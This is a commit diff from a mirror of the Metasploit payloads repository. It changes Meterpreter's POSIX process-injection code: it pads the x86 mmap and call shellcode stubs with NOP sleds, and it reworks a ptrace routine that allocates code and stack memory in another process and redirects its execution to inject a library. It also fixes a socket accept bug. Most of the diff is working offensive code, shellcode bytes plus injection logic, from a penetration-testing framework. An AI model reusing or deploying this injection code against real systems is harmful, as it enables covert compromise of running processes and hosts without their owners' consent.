1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00

Merge branch fixing memory patching

This commit is contained in:
jvazquez-r7 2015-01-02 18:49:41 -06:00
commit 15be560e7b
4 changed files with 81 additions and 18 deletions
c/meterpreter/source/common/arch/posix

@ -24,7 +24,19 @@
int $0x3 ; trap to allow the debugge to control
*/
/*! @brief mmap code stub */
UCHAR mmap_stub[] =
UCHAR mmap_stub[] =
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x31\xed" \
"\xbf\xff\xff\xff\xff" \
"\xbe\x22\x00\x00\x00" \
@ -46,6 +58,17 @@ UCHAR mmap_stub[] =
*/
/*! @brief call code stub */
UCHAR call_stub[] =
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x68\x04\x00\x00\x00" \
"\x68\xff\xff\xff\xff" \
"\xb8\x5a\x5a\x5a\x5a" \
@ -84,11 +107,12 @@ save_state(LONG pid, state *s) {
* @brief Restores the process state and detaches.
* @param pid Process identifier to restore.
* @param s Pointer to \c state with code and registers.
* @param only_memory Idicates if restore only memory at EIP or also registers
* @returns Indication of success or failure.
* @retval 0 Indicates success.
*/
LONG
restore_state(LONG pid, state *s) {
restore_state(LONG pid, state *s, int only_memory) {
unsigned long *mem_ptr = NULL;
LONG i = 0;
LONG result = 0;
@ -105,6 +129,9 @@ restore_state(LONG pid, state *s) {
if (result != 0)
return result;
if (only_memory > 0)
return 0;
result = setregs(pid, &(s->regs));
if (result != 0)
return result;
@ -148,6 +175,7 @@ LONG
execute_stub(LONG pid, unsigned long addr, unsigned long *stub, ULONG stub_size) {
LONG i = 0;
LONG result = 0;
struct user_regs_struct my_regs;
if (stub_size == 0 || stub == NULL)
return ERROR_INVALID_PARAMETER;
@ -156,6 +184,17 @@ execute_stub(LONG pid, unsigned long addr, unsigned long *stub, ULONG stub_size)
if (result != 0)
return result;
result = getregs(pid, &my_regs);
if (result != 0)
return result;
dprintf("[EXECUTE_STUB] Was to execute... 0x%x", my_regs.eip);
my_regs.eip = my_regs.eip + 8;
result = setregs(pid, &my_regs);
if (result != 0)
return result;
dprintf("[EXECUTE_STUB] Executing... 0x%x", my_regs.eip);
result = cont(pid);
if (result != 0)
return result;
@ -250,6 +289,8 @@ call(LONG pid, struct user_regs_struct *regs, unsigned long addr) {
LONG
inject_library(LONG pid, library *l) {
state s;
long code_mem;
long stack_mem;
struct user_regs_struct regs;
ULONG library_size = _SIZE_OF(l->length);
unsigned long *buf_ptr = (unsigned long *)l->data;
@ -260,7 +301,6 @@ inject_library(LONG pid, library *l) {
goto end;
}
dprintf("[INJECT] Saving state");
result = attach(pid);
if (result != 0)
@ -272,14 +312,32 @@ inject_library(LONG pid, library *l) {
memcpy(&regs, &(s.regs), sizeof(struct user_regs_struct));
dprintf("[INJECT] Creating new code memory");
result = allocate(pid, &regs, NULL, CODE_SIZE);
dprintf("[DEBUG] result: %d", result);
if (result != 0)
goto restore;
dprintf("[INJECT] New code memory on 0x%x, fixing registers", regs.eax);
code_mem = regs.eax;
regs.eip = code_mem;
result = setregs(pid, &regs);
if (result != 0)
goto restore;
dprintf("[INJECT] Restoring code on original process");
restore_state(pid, &s, 1);
dprintf("[INJECT] Creating new stack");
result = allocate(pid, &regs, NULL, STACK_SIZE);
result = allocate(pid, &regs, NULL, STACK_SIZE);
if (result != 0)
goto restore;
dprintf("[INJECT] New stack on 0x%x, fixing registers", regs.eax);
regs.esp = regs.eax + STACK_SIZE;
regs.eip = s.regs.eip;
stack_mem = regs.eax + STACK_SIZE;
regs.esp = stack_mem;//regs.eax + STACK_SIZE;
regs.eip = code_mem;//s.regs.eip;
result = setregs(pid, &regs);
if (result != 0)
@ -301,7 +359,8 @@ inject_library(LONG pid, library *l) {
goto restore;
dprintf("[INJECT] Fixing registers");
regs.eip = s.regs.eip;
regs.esp = stack_mem;
regs.eip = code_mem;//s.regs.eip;
result = setregs(pid, &regs);
if (result != 0)
goto restore;
@ -316,7 +375,7 @@ inject_library(LONG pid, library *l) {
goto end;
restore:
restore_state(pid, &s);
restore_state(pid, &s, 0);
end:
return result;
}

@ -14,23 +14,25 @@
/*! Macro to calculate sizes in order to help when writing and reading memory. */
#define _SIZE_OF(buf) (buf / sizeof(long)) + (buf % 4 > 0 ? 1 : 0)
/*! Length of the mmap code stub. */
#define MMAP_STUB_LENGTH 35
#define MMAP_STUB_LENGTH 128
/*! ptrace friendly size of the mmap code stub. */
#define MMAP_STUB_SIZE _SIZE_OF(MMAP_STUB_LENGTH)
/*! Position of the length to mmap in the mmap stub. */
#define MMAP_LENGTH_POS 18
#define MMAP_LENGTH_POS 111
/*! Position of the address to mmap in the mmap stub. */
#define MMAP_ADDR_POS 23
#define MMAP_ADDR_POS 116
/*! Length of the call code stub. */
#define CALL_STUB_LENGTH 22
#define CALL_STUB_LENGTH 112
/*! ptrace friendly size of the call code stub. */
#define CALL_STUB_SIZE _SIZE_OF(CALL_STUB_LENGTH)
/*! Position of the options flags in the call stub */
#define OPTIONS_POS 1
#define OPTIONS_POS 91
/*! Position of the library entry point in the call stub */
#define ENTRY_POINT_POS 11
#define ENTRY_POINT_POS 101
/*! Length of the new stack to allocate */
#define STACK_SIZE 0x200000
/*! Length of the new memory to store code stubs */
#define CODE_SIZE 0x1000
/*! @brief Container struct for a library to inject and execute. */
typedef struct {
@ -52,7 +54,7 @@ typedef struct {
} state;
LONG save_state(LONG pid, state *s);
LONG restore_state(LONG pid, state *s);
LONG restore_state(LONG pid, state *s, int only_memory);
BOOL wait_trap(LONG pid);
LONG execute_stub(LONG pid, unsigned long addr, unsigned long *stub, ULONG stub_size);
LONG allocate(LONG pid, struct user_regs_struct *regs, unsigned long addr, size_t length);

@ -122,7 +122,7 @@ write_memory(LONG pid, unsigned long addr, unsigned long *contents, UINT size) {
dprintf("[PTRACE] Writing memory");
for (i = 0; i < size; i++) {
// dprintf("[PTRACE] Writting %x to %x", contents[i], (addr + (i * sizeof(void *))));
//dprintf("[PTRACE] Writting %x to %x", contents[i], (addr + (i * sizeof(void *))));
if (ptrace(PTRACE_POKETEXT, pid, (void *)(addr + (i * sizeof(void *))), (void *)contents[i]) == -1) {
dprintf("[PTRACE] PTRACE_POKETEXT failed");
return errno;

@ -68,6 +68,7 @@ LONG
accept_connection(server_un *s, DWORD timeout) {
connection_un *c;
LONG rv;
int len;
if (s == NULL) {
dprintf("[UNIX SOCKET SERVER] NULL server");
@ -92,11 +93,12 @@ accept_connection(server_un *s, DWORD timeout) {
dprintf("[UNIX SOCKET SERVER] select failed");
return errno;
} else if (rv == 0) {
dprintf("[UNIX SOCKET SERVER] timeout")
dprintf("[UNIX SOCKET SERVER] timeout");
return ETIME;
}
if ((c->socket = accept(s->socket, (struct sockaddr *)&(c->remote), &(s->timeout))) == -1) {
len = sizeof(c->remote);
if ((c->socket = accept(s->socket, (struct sockaddr *)&(c->remote), &len)) == -1) {
dprintf("[UNIX SOCKET SERVER] accept failed");
return errno;
}